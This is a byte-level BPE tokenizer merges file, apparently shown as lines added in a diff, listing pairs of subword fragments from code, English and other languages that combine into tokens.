+ĠS elf +() [ +.m ake +ear n +ch annel +< pre +ble m +_p assword +_s p +ic ing +e z +Ġthe ory +ĠT er +, n +log o +ĠHT TP +() )) +.h andle +> ;Ċ +W orld +Ġpy thon +Ġl if +Ġtr av +Ġcon ven +com pany +ĠCl ub +V er +B tn +Ġz one +product s +ĠE duc +Ġver ify +ĠM il +on o +] );ĊĊ +EN CE +Ġpack et +Ġc er +Ġen umer +Ġpar s +form ed +Ġocc up +t re +Ġexerc ise +D ay +_s um +Ġask ing +apt ion +Ġord ers +Ġsp ending +ĠE RR +.D is +ĠU til +âĢľ I +\ ' +? ) +/ >Ċ +Ġem ot +Ġinflu ence +ĠAfr ica +att ers +Ù ħ +.s ession +Ġch ief +ĉĉĉĉĉĉĉĉ ĉĉĉ +Ġto m +clud ed +ser ial +_h andler +.T ype +ap ed +Ġpolic ies +- ex +- tr +bl ank +mer ce +Ġcover age +Ġr c +_m atrix +_ box +Ġcharg es +ĠB oston +P e +Ġcirc um +Ġfil led +Ġn orth +icture Box +ĉ res +è ® +Ġter min +Ġ[ â̦ +IRE CT +Ġb er +Ġ" ../../ +ret ch +.c ode +_c ol +ĠGovern ment +Ġarg v +ĠL ord +as i +Ex ec +ĉ let +vert is +Ġdiscuss ion +en ance +out ube +type of +Ġs erved +ĠP ut +ĉ x +Ġs weet +B efore +ateg y +. of +ĠM aterial +S ort +ON T +ig ital +Wh y +Ġs ust +Ġ ç +ab et +Ġseg ment +Ġ[ ],Ċ +ĠMus lim +Ġfind ViewById +c ut +_T EXT +ĠM ary +Ġlo ved +Ġl ie +ĠJ O +Ġis set +mon th +Ġpr ime +t i +ĠCar ol +U se +ĠP op +ĠS ave +Int erval +ex ecute +d y +ĠI ran +_ cont +ĉ T +Ġph ase +check box +we ek +Ġh ide +Ġt il +Ġj u +C ustom +b urg +/ M +T ON +Ġqu ant +Ġr ub +ix els +Ġinst alled +Ġd ump +Ġproper ly +( List +Ġdec ide +app ly +H as +Ġkeep ing +Ġcitiz ens +Ġj oint +p ool +S ocket +_ op +Ġweap on +gn ore +ĠEx ec +ott en +ĠM S +Ġ( - +ĠRe view +Ġex amples +Ġt ight +! ( +D P +ĠMessage Box +Ġphot ograph +UR I +é t +l ow +ĠGr and +.p ersistence +Ġmaint ain +Ġnum s +Ġz ip +ial s +ĠG ets +pe g +ĠB uffer +~~ ~~ +ra structure +ĠP L +u en +ob by +size of +Ġp ic +Ġse ed +Ġexperi enced +Ġo dd +Ġk ick +Ġproced ure +avig ator +- on +, j +ĠAl though +Ġuser Id +ac cept +Bl ue +IC olor +l ayer +av ailable +Ġend s +.t able +Ġdat aset +b us +Ġexpl ain +( pro +ĠCommit tee +Ġnot ed +] :Ċ +D im +std io +. ",Ċ +_s ource +ĠWe ek +ĠEd ge +Ġoper ating +Ġest e +i pl +ag ination +Ġpro ceed +Ġanim ation +.Model s +ĠW atch +i at +Ġopp on +/ A +Re port +Ġs ounds +_b uf +IEL D +Ġbu nd +ĉ get +.p r +(t mp +Ġk id +>ĊĊ Ċ +Ġy ang +Not Found +Ñ Ĩ +m ath +@g mail +ĠL IMIT +red ients +Ġv ent +avig ate +L ook +Ġrelig ious +Ġr and +ri o +( GL +_ ip +u an +ici ency +ĠCh ange +> čĊčĊ +ĠEnt ity +Ġrencont re +ĠR et +pl an +é n +BO OL +ur ies +tr ain +Def inition +======== ==== +z z +An imation +ĠO K +_m enu +.b l +_s core +Ġac ad +( System +Ġref resh +'=> $ +.G raphics +ament o +p id +t c +Ġt ips +Ġhom es +Ġf uel +â ĸ +_h elper +ĠĠ čĊ +ĠR oom +.C lose +_ attr +ĠM ount +ĠE v +ar ser +_t op +e ah +ĠDe lete +ãĢ į +u ke +Ġus age +ar ia +_de v +Ġtext ure +Ġconvers ation +e per +Be an +d one +non atomic +ĠSe cond +Ġshoot ing +_p re +Com ponents +Ġ] ĊĊ +__ , +stit ution +.Ch ar +> ();ĊĊ +Ġpresent ed +Ġw a +ok er +- ĊĊ +in er +Ġbe coming +Ġinc ident +At t +Ġreve aled +for c +Ġbo ot +.p age +Enumer ator +_ -> +Ph oto +Ġs pring +. ", +ĠD ictionary +B JECT +Ġloc ations +Ġs amples +Input Stream +ĠB rown +Ġst ats +qual ity +Ñ ħ +-d is +Ġhelp ing +Ġp ed +( se +ĠWh o +al ian +int ernal +Ġf t +> (). +-> { +Ġm ine +Ġs ector +Ġg ro +Ġopport unities +Ġà ¼ +Ġm p +Ġalleg ed +Ġdoub t +M ouse +Ab out +_p art +Ġch air +Ġstop ped +lo op +ent ities +Ġapp s +ans ion +Ġm ental +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ ĠĠĠĠĠĠĠĠĠ +F R +Ġdef end +c are +Ġide al +/ api +ur face +Ġe le +ul ator +ĠR ights +angu ages +Ġfund s +Ġad apt +At tributes +Ġdep loy +opt s +Ġvalid ation +Ġconcern s +u ce +.n um +ult ure +il a +Ġc up +Ġp ure +.F ore +ĠHash Map +.value Of +as m +M O +Ġc s +Ġst ores +Ġ ************************************************************************ +Ġcommunic ation +m em +.Event Handler +. Status +_ right +.set On +S heet +Ġident ify +ener ated +order ed +Ġ" [ +Ġs we +Con dition +ĠA ccording +Ġpre pare +Ġro b +P ool +Ġs port +r v +ĠR outer +Ġaltern ative +( [] +ĠCh icago +ip her +is che +ĠDirect or +k l +ĠW il +key s +Ġmy sql +Ġw elcome +k ing +ĠMan ager +Ġca ught +) }Ċ +S core +_P R +Ġsur vey +h ab +He aders +AD ER +Ġdec or +Ġturn s +Ġr adius +err upt +C or +Ġm el +Ġin tr +( q +ĠA C +am os +M AX +ĠG rid +ĠJes us +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ ĠĠĠĠ +.D E +Ġt s +Ġlink ed +f ree +ĠQ t +Ġ/** čĊ +Ġf aster +ct r +_ J +D T +.C heck +Ġcomb ination +Ġint ended +- the +- type +ect ors +am i +ut ing +Ġum a +X ML +U CT +A p +ĠR andom +Ġr an +.s ort +Ġsort ed +. Un +_P ER +it ory +Ġprior ity +ĠG al +ĠO ld +h ot +ĠD isplay +(s ub +_T H +_ Y +ĠC are +load ing +K ind +_h andle +, , +r ase +_re place +.add EventListener +ĠR T +Ġenter ed +g ers +Ġ ich +( start +/ app +Ġbro ther +M emory +Out let +Ġ utf +pre c +Ġn avigation +OR K +Ġd st +D etail +Ġaud ience +Ġd ur +Ġcl uster +un ched +Ġ ], +Ġcomfort able +. values +ĠT otal +Ġsn ap +Ġstand ards +Ġperform ed +h and +(" @ +å Ń +Ġph il +ib r +tr im +Ġfor get +Ġdo ctor +.Text Box +icon s +, s +ĠO p +S m +St op +ĉ List +ĉ u +Com ment +_V ERSION +.X tra +P erson +r b +LO B +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ ĠĠĠĠĊ +ĠCent ral +IC K +ra q +Ġput ting +Ġm d +ĠL ove +Pro gram +B order +o or +Ġallow ing +a fter +Ġent ries +ĠMay be +] ). +ĠSh ort +) \ +.n ow +f riend +Ġpre fer +ĠG PIO +os is +ĠGame Object +Ġsk ip +Ġcompet ition +_m atch +lic ations +_CON T +.group Box +Ġal s +" We +_e q +l an +_ search +ĠMus ic +as is +Ġb ind +ĠIs land +r um +( E +Ġse at +V ideo +Ġa ck +ree k +={ () +Ġr ating +Ġrestaur ant +DE X +(b uf +pp ing +ual ity +Ġle ague +Ġfoc used +ap on +$ data +CL UD +CLUD ING +Ġabs olute +( query +Ġtell s +A ng +Ġcomm unities +Ġhon est +ok ing +Ġap art +ar ity +/ $ +_m odule +ĠE nc +. an +.Con fig +C re +Ġsh ock +ĠAr ab +I ENT +/ re +Ġre trie +ycl er +is a +ĠO rgan +. graph +Ġ í +ĠB AS +En um +Ġposs ibly +ÑĢ Ð°Ð +ĠJapan ese +Ġc raft +ĠPl ace +Ġtal ent +Ġfund ing +Ġconf irmed +Ġc ycle +/ x +G E +Ġhe aring +Ġpl ants +Ġm outh +p ages +or ia +ĠRem ove +_t otal +Ġo d +oll apse +do or +Ġb ought +Ġadd r +AR CH +_d im +dd en +Ġdec ades +RE QUEST +Ġvers ions +f ire +Ġmov es +f b +Ġcoff ee +.con nect +ĠR ow +Ġs chema +S cope +- Type +Ġfight ing +Ġret ail +Ġmod ified +T F +File s +n ie +_com mand +st one +Ġ ÑĤ +_ thread +Ġb ond +ĠDevelop ment +Ġp t +F ORM +ple t +Ġident ified +c pp +Ġc oding +ok ed +ĠM aster +ID TH +Ġres idents +red it +ĠPh oto += - +un te +ate ur +_ST ATE +ĠS ing +Ġshe et +. val +or se +Ġh ers +Ġdetermin ed +Com mon +Ġw ed +_ queue +P H +ĠAt l +cre d +/L ICENSE +Ġm es +Ġadv anced +.j ava +.S h +G o +k ill +f p +_set tings +Ġp al +Ġtr uck +Ġcomb ined +Ġ" ${ +ĠCor por +Ġjo ined +ĠJ ose +ĠC up +un s +est ival +lev ision +Ġbro ken +Ġmar riage +ĠWest ern +Ġrep resents +ĠT itle +Ġs s +.A ss +ongo ose +ient o +< >();Ċ +Ġabs olutely +Ġsm ooth +TER N +ĠUn less +W ord +Ġmer ge +ig an +ĠV ol +Ġn n +.get Id +ĠÐ · +Ġsex y +Ġseek ing +S ingle +. this +Ġk om +b ound +; " +Ġfont Size +_d f +Ġinj ury +( H +Ġiss ued +_ END +: self +Ġp atch +Ġle aves +Ġad opt +File Name +ãĢ IJ +Ġexec utive +ĠBy te +] ))Ċ +Ġn u +out ing +clud ing +- R +. options +Ġsub stant +av ax +ĠB UT +Ġtechn ical +Ġtw ice +Ġm ás +Ġun ivers +y r +Ġdr ag +ĠD C +Ġs ed +Ġb ot +ĠP al +ĠH all +forc ement +Ġa uch +.m od +not ation +_file s +.l ine +_fl ag +[ name +Ġres olution +Ġb ott +(" [ +end e +( arr +F ree +( @" +ĠD istrict +PE C +: - +P icker +ĠJ o +ĠĠĠĠĠ Ċ +ĠR iver +_ rows +Ġhelp ful +Ġmass ive +--- Ċ +Ġmeas ures +ĠR untime +Ġwor ry +ĠS pec +ĉ D +ãĢ ij +Ġ) {Ċ +Ġwor se +(f ilename +Ġl ay +Ġmag ic +ĠThe ir +ou l +st roy +ĠWh ere +Ġsu dden +Ġdef e +Ġb inding +Ġfl ight +ĠOn Init +ĠW omen +ĠPol icy +Ġdrug s +ish ing +(' ../ +ĠM el +pe at +t or +Ġpro posed +Ġst ated +_RE S +Ġe ast +ĠCON DITION +_d esc +Ġwin ning +fol io +M apper +ĠP an +ĠAn ge +.s ervlet +Ġcop ies +L M +Ġv m +å į +Ġd ictionary +S eg +el ines +ĠS end +Ġ iron +ĠF ort +.d omain +Ġdeb ate +Not Null +e q +ach er +l f +ĉf mt +Ġlaw y +Ä Ł +ĠM en +Ġtr im +( NULL +Ġ! ! +Ġp ad +Ġfollow s +"] [" +re qu +ĠE p +.g ithub +( img +et o +(' \ +S ervices +umbn ail +_m ain +ple ted +fort unately +Ġw indows +Ġpl ane +ĠCon nection +. local +u ard +} \ +== " +and on +ĠR oy +w est +ig inal +em ies +it z +') :Ċ +ĠP eter +Ġt ough +Ġredu ced +Ġcalcul ate +Ġrap id +c ustomer +Ġeff icient +Ġmed ium +Ġf ell +. ref +ĠC as +Ġfeed back +S peed +( output +aj e +Ġc ategories +Ġfe e +} ; +Ġde leted +re h +Ġpro of +D esc +B uild +Ġs ides +.Array List +- % +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ ĠĠĠĠĠĠ +Ø ± +.m atch +л и +Ġfe els +Ġachie ve +Ġcl im +_ ON +ĠC D +Ġteach er +_c urrent +b n +_P L +ist ing +En able +G EN +Ġt v +Ġso ck +Ġpl ays +Ġdis count +ĠK E +ĠDe bug +F ore +ĠI raq +Ġappear ance +M on +Ġst yled +ĠH uman +i ot +ĠH istory +Ġs ac +ĠC ollection +Ġrecomm ended +.Se lected +Ġorgan izations +Ġdiscover ed +co hol +ad as +ĠThom as +M ay +Ġcons erv +Ġdom in +ĠF ollow +ĠSe ction +ĠTh anks +User name +Ġrec ipe +Ġwonder ful +.s leep +_ if +ĉĊ ĉĊ +orn o +Ġr u +_t arget +." " +à ¦ +Event Args +Ġinput s +Ġf if +Ġv ision +c y +ĠS eries +) ((( +Ġtr ading +Ġmark er +B egin +Ġtyp ically +Ġca uses +drop down +_DE BUG +Ġdet ect +c ountry +! ");Ċ +ĉ R +app y +Ġc ref +(' < +" => +ĠL E +read er +Ġadmin istr +à µ +uck et +Ġf ashion +. char +iz ar +Ġdis able +Ġsu c +ĠL ive +iss ue +Ġmet adata +fl ags +Ġ ðŁ +Ġcomm itted +Ġv a +Ġr ough +Ġ'' 'Ċ +Ġhigh light +_var s +V O +Ġenc oding +- Z +_s ign +$ ("# +Ġr ain +reate st +ĠEN D +Se lection +Ġcandid ates +Ġs av +. Empty +Ġdec isions +Ġcoll abor +rid ge +fe ed +ress ion +Ġperson s +V M +eg a +_B IT +A ccording +ack ed +Ġdoll ars +_lo ss +ĠC ost +} "Ċ +Not ification +Ġpro stit +Ġauthor ity +.re c +Ġsp okes +ĠT oday +ist ant +ĠHe ad +âĢĿ . +ertain ment +ce an +cul ate +Ġv en +How ever +_ arr +Ġtok ens +G raph +ĠJ ud +ĠVir gin +ĠS erial +un ning +M utable +ag ers +.c sv +Ġdevelop ing +Ġinstruction s +Ġprom ise +Ġrequest ed +_ encode +/ " +ĠI con +u ilt +- day +Ġint elligence +. IS +ĠO bservable +ĠH ard +Bo ol +ident ial +.An chor +Ġsell ing +C I +AG ES +t le +b ur +UFF ER +R Y +Ġbig ger +Ġr at +Ġfam ous +Ġtyp ename +Ġexpl ained +} }Ċ +Ġn uclear +- N +Ġcr isis +ĠEnt er +Ġan swers +/ ${ +/ pl +Ġse qu +_n ext +m ask +Ġstand ing +Ġpl enty +ĠC ross +ĉ ret +d ro +ĠC ast += true +ĠCh ris +ic io +ĠM ike +Dec imal +add Component +L en +Ġco ck +Ġ# { +UR N +< tr +Ġauthor ities +Res ources +- H +B ottom +_ qu +put er +ester day +Dis patch +s ince +Ġfam iliar +, i +V C +Ġm ent +, C +Ġfre edom +Ġr outes +ĠB uy +Ġcomm ands +Ġm esh +/ C +ĠSet tings +- style +Ġw itness +Ġc le +Ġun ion +ef ault +are t +Ġthought s +Ġ ---- +_pro cess +_ us +ing ly +U ES +T ouch +ĠÐ ¼ +_ open +ĠV ec +Ġre ward +.C lick +/ : +Ġn ie +Ch anges +M onth +ï¼ Ł +Ġexec ution +Ġbe ach +( Integer +ĉ a +/ ' +.Font Style +Ġab ort +ĠS ingle +( isset +Ġd p +Ġ}} +Ġ* = +ĠP S +Ġdanger ous +[ p +OM E +O ther +ĠString Builder +Point s +head ing +Ġc urrency +Ġpercent age +_A PI +Ġclass ic +the ad +ĠM O +F E +Id x +aw ait +Ġà ¨ +Ġacc ident +Ġvari ant +Ġm yst +ĠL and +ĠB re +Ġh arm +ĠA cc +Ġcharg ed +ion es +Vis ibility +ar ry +ĠL anguage +Ġwalk ing +" .ĊĊ +if er +Ġleaders hip +.F rom +yn am +Ġt imestamp +i pt +ĠH as +REF ER +ĠIt s +Ġlist ener +UT E +_d escription +Ġexperi ences +Ġcre ates +R S +c art +bl ack +Ġcho ices +w ar +Ġ'' ' +Ġorder ed +Ġeven ing +Ġp il +Ġt un +ĠB ad +( app +r andom +Ġexp licit +Ġarr ived +Ġf ly +Ġecon om +-m ail +Ġlist s +Ġarch itect +ĠP ay +Ġd s +ĠS ol +Ġveh icles +H z +- com +Ġk ing +_e qual +ĠH elp +Ġab use +-- ;Ċ +Ġex tr +Ġchem ical +ä ¿ +Ġor ient +Ġbre ath +ĠS pace +(e lement +w ait +DE D +ig ma +Ġent r +Ġs ob +- name +Ġaff ected +ik a +Ġco al +_w ork +Ġhundred s +Ġpolit ics +sub ject +Ġconsum er +ANG E +Ġrepe ated +S end +Ġ# [ +Ġprot ocol +Ġlead s +use um +E very +Im port +(c ount +Ġchalleng es +Ġnov el +Ġdep art +b its +.C urrent +Ġ` ${ +ot ing +( \ +Ġcreat ive +Ġbu ff +Ġintrodu ced +us ic +mod ules +A re +-d oc +l anguage +_c ache +Ġto d +? > {{ +ĠRes ource +ĠSt andard +ĠP rem +up dated +ival ent +Ġas sets +_t emp +Ġinterest s +Ġhard ware +ĠR om +ĠSh are +Ġ' 'Ċ +Ġ* , +ĠT ake +ĠIm ages +_C HECK +(type of +ĠJ un +\< ^ +Ġli qu +Ġwor st +ymb ols +ĉĉĉ ĠĠĠ +Ġdr ivers +ĠD ocument +en o +ĠTechn ology +Ġappro ved +ump s +Ġs now +form ance +_A SSERT +u its +Ù Ĩ +Ġdiffer ences +. Visible +ĉĉĉ čĊ +ĠP s +_f etch +Ġto do +. ',Ċ +Ġs el +ur ers +in valid +Ġt weet +V EL +Ġresearch ers +Ġs printf +ĠR O +Ġp el +.Tr ans +Ġil legal +d ialog +sm arty +l g +_M IN +Ġher o +f inal +Ġp p +.L e +Ġc i +ĉ RT +Ġsuggest ed +p df +ach ing +ĠR o +ĠProp erties +ĠS i +Ġbuy ing +Ġm u +Ġl ands +if iers +ĠF ILE +RO UP +Ġh older +ĠS on +Ġsym pt +.r oute +) ? +Ġarg c +Ġfor t +Ġcas ino +_c ategory +Ġfor um +p refix +apt ure +T ube +em s +im ize +Ġn ue +a us +c ourse +AT OR +() ), +Ad vertis +ING S +Ġack now +ĠKore a +pl ing +Ġwork er +PL IED +h al +ĠRich ard +Element s +ĉĉĉ Ġ +st ar +Ġrelationship s +Ġche ap +AC H +ĠX ML +, & +ĠLou is +Ġr ide +_F AIL +Ġch unk +[ s +_O UT +Ġch osen +_ [ +/ ( +ĠJ eff +_s l +pr iv +ĠCan adian +Ġun able +_F LAG +Ġn os +h igh +Ġl ift +f un +() { +el ly +ycler View +_ as +_L IST +Ġr adi +.get Value +ĠAnge les +ĠS pan +_in stance +it ors +Ġm igration +A K +O h + ® +. selected +ĠG T +Ġadv ance +ĠSt yle +.Data GridView +e ction +Ñ İ +p io +ro g +Ġsh opping +ĠR ect +I lluminate +O U +ĉ array +Ġsubstant ial +Ġpre gn +Ġprom ote +IE W +.L ayout +Ġsign s +/ . +Ġlet ters +Bo ard +ct rl +" \ +ĠJ ones +Ġvert ex +Ġj a +Ġaff ili +Ġwe alth +ĉ default +Ġsignificant ly +Ġe c +Ġx s +act ual +.p er +_st ep +an vas +m ac +Ġtrans l +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ +Iter ator +Ġo ch +agnost ic +ĠD uring +ĠDE FAULT +Ġt ill +Ġsign ature +Ġb ird +ĠO l +ĠI r +H S +av atar +ESS AGE +Ġe lev +Ġm t +ĠN av +Ġrel ax +Ġpl ate +IT EM +( date +.n ot +Ġgr ade +Ġ} ),Ċ +? "ĊĊ +i ences +H igh +ĠD IS +dis abled +Q UI +Ġno ise +a ux +ĠU P +os a +Ġv oc +Ġ )) +oc om +_O FF +ĠD b +L ock +.e clipse +, d +ĠD raw +Ġ" ( +Ġvis ited +Ġâ Ī +Ġsuc ceed +Ġim possible +a ire +ĠT urn +Ġd ish +F G +Ġs ensor +AN N +ab a +Ġsur g +] );čĊ +Ġf p +_ an +- J +- G +ĠJ ob +Con vert +ĠKE Y +Ġauth ors +_s erver +\ r +Ġ-* - +f lex +Ġs oc +R et +Ġs alt +Ġâ̦ ĊĊ +ĠC lear +(p age +-d anger +Ġroom s +con v +# { +. op +ĠA rea +_S C +h en +Ġbeg ins +- y +Ġexc ited +Ġign ored +Ġbon us +st udent +ĠM ember +Ġrel atively +ĠL ow +ĠPro du +ate way +pos ure +Ġth ick +ani el +( view +ĠCr ush +Ext ension +I l +e ed +LO C +. im +. Items +Ġconflic t +.pre vent +Ġon Create +u v +is er +Ġw ave +M ar +ĠComm unity +ic he +ĠNo thing +[ m +ĠLe e +ri ends +è re +!! ! +an z +. result +ĠS K +_P ARAM +Ġdem ocr +Back Color +.ex ists +" It +( options +ra zy +as er +\ Database +al endar +_ ass +; }Ċ +vert ex +ine craft +W arning +arg o +Ġact or +ĠInst ead +ĠUs ing +S elf +@ interface +Ġspe aking +ĠPar is +ĠL ICENSE +.n ode +ĠF ood +E IF +ĠB i +. Start +ĠI B +Ġun iversity +ĠHe ader +.pro duct +C opy +et c +r ical +Ġ> >> +book s +Ġal gorithm +Ġ' __ +(j avax +Ġnumer ous +Sh are +H ave +Ġrec ru +Ġpro ve +.sub string +he alth +е л +Ġdec imal +Ġcomm ission +s cription +x C +Ġsum mary +att ed +Ġclo ser +fin ished +() ){Ċ +ĠW ood +_field s +k u +_ items +Fl ag +Ġconf idence +ĠF ederal +du x +Ġcomp at +Ġvert ical +Ð ¹ +è s +; ">Ċ +_m anager +() ))Ċ +ID E +: ", +__ Ċ +ĠW ay +Ñ Ī +T emp +ĠS TR +rit ten +S ync +ĠA V +ĠC EO +ĠG uid +Ġenvironment al +Ġcorrespond ing +ĉ console +Ġjust ice +ĠJ S +Ġl ived +g ar +ĠG raph +ĠSt at +Ġi Phone +. al +ĠH D +Ġocc ur +Ġth reshold +Ġon click +RE G +.Graphics Unit +M eta +Å ¾ +Ġc um +.g nu +à « +Ġobt ained +Ġcompl aint +Ġe ating +Ġt ar +_t ask +Ġopt s +( to +P ass +Ġpl astic +t ility +ĠW in +.prevent Default +p ile +ĠG ar +Ġqu antity +_l ast +Ġg reatest +D ao +_D IS +ĠUs ed +ĠH P +rit ing +S ION +bl ue +d omain +Ġs cores +N ormal +_ admin +ĠA SSERT +Th en +** * +d ist +l on +Ġh ate +sh al +Image View +d atabase +Ġp and +Ġlog ic += false +b g +ĠConfig uration +Ġn ur +O G +Ġmar ried +: + +Ġdro pped +Ġreg istration +оР¼ +ult iple +iz ers +sh ape +.c opy +Ġwe aring +ĠC ath +Ġded icated +Ġ.. .Ċ +Ġadv oc +ĠF amily +Ġstat ements +em atic +ampions hip +Ġmot iv +ĠH ave +Ġbl ow +J ob +c ert +_v ector +inst all +ĠC OPY +em bed +D IR +ĠS pring +Ġex hib +cd n +ĠCom ment +ĠOption al +. player +ĠD ark +( pos +ĠSh ould +Ġcent re +ĠGu ard +ó w +Ġtr ouble +EN ER +( unsigned +_s ervice +Ġn s +ul ing +ĠMex ico +ĠN Y +mys ql +Ġl ic +å ľ +M r +- fl +ĠC ustomer +id i +Ġ? >ĊĊ +ri ble +Ġп ÑĢ +Ġs izes +_STR ING +valid ation +ĠJ on +( Http +add Class +N odes +Ġfrag ment +Ġsp oke +Ġw aste +J oin +Ġill ustr +el i +c ient +Ġa id +Ġpro sec +') {Ċ +Ġpass ing +Ġf aces +Sh ape +_ Z +it i +Ġal le +Ġro bot +ĠĠĠĠĠĠĠ Ċ +ĠS pe +Ġrece iving +ĠD etails +Ġ" ) +m g +_RE F +Ġcompar ison +* , +ĠF ound +_s ession +( U +/ F +Ġx xx +N etwork +d ers +Ġcap ture +Ġcor re +ĠL td +ĠAd v +[ @ +Ġcl ip +M ill +ĠPro file +Ġend if +Ġob lig +des cribe +.e lement +riter ion +L D +er ed +Ġfav our +s core +ĠF ilter +at tributes +Ġcheck s +In flater +ĠPl us +Ġscient ific +Ġpriv acy +He ad +Ġfe at +Ġdeg rees +ĠP ale +; "> +Ġfil ms +ĠA udio +ĠT ag +ĠE nergy +it ar +par ator +Ġf ellow +Ġev t +ĠT ri +ĠD AM +cl oud +ĠP assword +ĠDemocr ats +ĠAc ad +$ lang +Ġre b +() )ĊĊ +н Ñĭ +ĠB ur +read cr +Ġh ex +Con sole +ct l +ous el +ĠWill iam +Ġa z +_P ORT +Ġpract ices +Ġany where +ĠP osition +Ġ- >Ċ +i ams +.user name +place holder +Ġo der +ĠSecret ary +Ġi T +mon d +event s +? âĢĿ +.S ub +Ġatt ached +Ġn ão +Ġest ate +. action +Ġfig ures +Ġ} );čĊ +Ġsubs cri +.t ag +n am +. plot +no on +li ament +Char acter +.t ab +Ġw inter +ĠVar iable +Ġtre es +Ġpr oud +( V +_ load +Ġh ier +ĠE con +Ġf d +Ġvict ims +R est +ian a +Ġf ake +.Print ln +Ġstr len +Ġs ad +Ġb le +Pro t +Ġbutton s +Ġte levision +Ġlog o +ext ension +ĉ j +ste in +acion es +Ġ"" "ĊĊ +Ġsim p +Ġrecord ed +Ġbr ings +Ġprincip al +Ġfe es +(s ource +k dir +Ġutil s +Ġcorrect ly +f il +Ġw el +P air +-b utton +s cale +ver ify +[ c +Ġ-- - +Ġes cape +ik es +Lower Case +ic ian +Ġch apter +ĠT YPE +Ġsh adow +Ġaw esome +W E +el if +Ġl ambda +Ġdist inct +Ġb are +- off +Ġcol our +.append Child +ole c +ag a +.f ill +ĉs uper +Ġad j +( position +.get Item +Sh ort +Ġtot ally +V D +ĠT re +_ ep +v ements +ĠS olution +Ġfund ament +F ollow +Ġfac ility +Ġhappen ing +O F +.text Box +S pan +Ġ « +id en +Ġex ceed +(p arent +Ġc p +ç » +Ġhas n +Ġp ri +Ġcon sequ +n en +ĠIN TO +I gnore +ĠF uture +Ġcar bon +ĠSte el +f mt +ok ie +Ġs pl +(t itle +- info +Ġde als +Ġfix ture +e a +D iv +Ġtest ed +_ return +)ĊĊ ĊĊ +upport ed +ĠC ook +Ġpay ing +ĠI ll +Ġarrest ed +ĠPr ime +_c allback +> ,Ċ +dr iver +On ce +ab b +_by tes +ĠS ets +( Object +Ġc c +Ġsh ell +al o +); // +( log +ct ors +) +Ġ$ (". +.p os +Ġbo ys +Ġwed ding +Ġag ents +=" _ +ĠAr my +Ġh int +v ision +Ġte ch +ĠCon nect +Ġleg end +ĠB et +.B ase +Sub ject +Ġl it +Rem ove +Ġ" : +ĠF inal +pear ance +ĠiT unes +Ġparticip ants +ĠPy thon +Ġbus y +i el +vert ices +Ġtemplate Url +ĠC lose +Im g +ĠCorpor ation +t imestamp +Ġext end +Ġwe bsites +Ġposs ibility +о ÑĤ +Ġk ö +Ġme at +Ġrepresent ation +Ġ ĉĉ +_ST ART +.app ly +ĠVal ley +ĠS uccess +H i +Ġn ob +ĠI Enumerable +_ select +ge o +. ")Ċ +Ġturn ing +Ġfab ric +(" ");Ċ +Ġpers pective +é Ĺ +ĠS n +Th ank +; j +.Param eters +ĉ ĠĠĠĠĠĠĠĠĠĠĠ +Ġfact s +Ġun t +.in stance +################################ ################################ +- end +ĠJO IN +ĠH en +Ġur i +åIJ į +Ġн а +ĠIn fo +Ġconduct ed +Ġà ¥ +OUR CE +Ġw ine +J ohn +.Error f +ĠA ge +ound ed +Ġreal ize +Ġ] ; +Ġsub sequ +, m +( User +ian o +Ġaccom pl +is p +.st d +é ĩ +ĠB ed +.set Attribute +B R +ke ep +ĠA LL +Ġis ol +am ma +P ackage +Ġoccas ion +-s uccess +еР´ +ĠLIMIT ED +st rip +() ĊĊĊ +istrib ution +Color s +Ġ+ :+ +Did Load +al er +Ġt id +ĠL ED +ĠLink ed +ĠC art +() )čĊ +_RE AD +Ġkill ing +ĠP HP +fe ction +Ġinst ances +c v +"/ > +Ġs f +Ġtax es +_ location +ĠBit coin +u able +r ank +ign ore +tr ack +к а +Ġshould n +ĠO P +=> {Ċ +Ġk m +Ġh elper +_ head +ĠWh ether +oc o +_b l +Ġstat istics +Ġbeaut y +Ġto g +t ip +ëĭ ¤ +Ġc sv +(s ql +std lib +we ak +Ġlik es +Ä į +Ġrepe at +Ġap artment +Ġem ph +_ edit +Ġv it +ĉ type +E ven +ut en +Ġcircum stances +b ian +Ġs ugar +W indows +ì ŀ +Ġobs erved +/ data +Ġcal endar +Ġstri ke +ĠR ES +_s c +f ony +ore m +( z +p ower +et ect +ĠS at +.d escription +Ġg ang +ĠS ports +ong s +ĠB undle +.s um +on ce +Ġacc used +Ġexplo re +Ġapprox imately +Ġlos ing +thes is +ĠF und +Ġdi agn +A utowired +prop erties +Ġ_ . +Ġc nt +ced ure +Ġy y +Ġgr ant +so ck +.inner HTML +Ġ] );Ċ +ĠCON FIG +=' $ +] ];Ċ +UN D +Ġg lob +Ġd ire +uff le +_M EM +Ġauth entic +> (" +Ġdec ade +ĠIm port +Ġorigin ally +Ġj Query +Ġindic ate +Ġours elves +S w +.l bl +ener ate +Ġbas ically +ĠH om +Ġ+ #+ +ĠBrit ain +ĠK ar +to Equal +.st op +Ġmod al +is i +Ġsuggest s +Ġd type +Ġt ur +b f +Ġconnection s +ĠB efore +ist ed +m ouse +Ġpul led +.b uild +Ġlegis lation +Ġfor th +p ad +eg o +.N ow +Ġexc iting +}ĊĊ ĊĊ +Ġcom pr +Ġsh ares +Ġr ig +g reen +_ vec +Ġenumer ate +A uto +ic ator +ĠR ay +as se +Ġh oliday +Ġnull able +g un +_d etails +Ġwr apper +se q +ĠYou ng +ju ana +Ġ" __ +lic ense +ser ve +^ ( +id ers +.Rem ove +rop down +' S +p in +(t oken +.D efault +Ġreason able +amp ion +ĠS ociety +Ġbe i +erv es +r ad +ĠF ox +_ images +Ġw heel +') [ +Ġc fg +( By +Con structor +Ġv ary +.sw ift +Ġpro xy +ĉ H +ĠAn other +ĠP en +Ġcheck ing +Ġj est +man ager +Or igin +ug s +o ir +>< !-- +Ġexpress ed +Ġmod er +Ġag encies +Ġi h +-h idden +ious ly +ĠR od +Ġso le +M ed +.A ny +Ġp c +b al +Ex ample +ĠS ale +Ġst rip +ĠCom p +Ġpresident ial +M ost +put ation +( ref +ĠF our +_f ilename +Ġen forcement 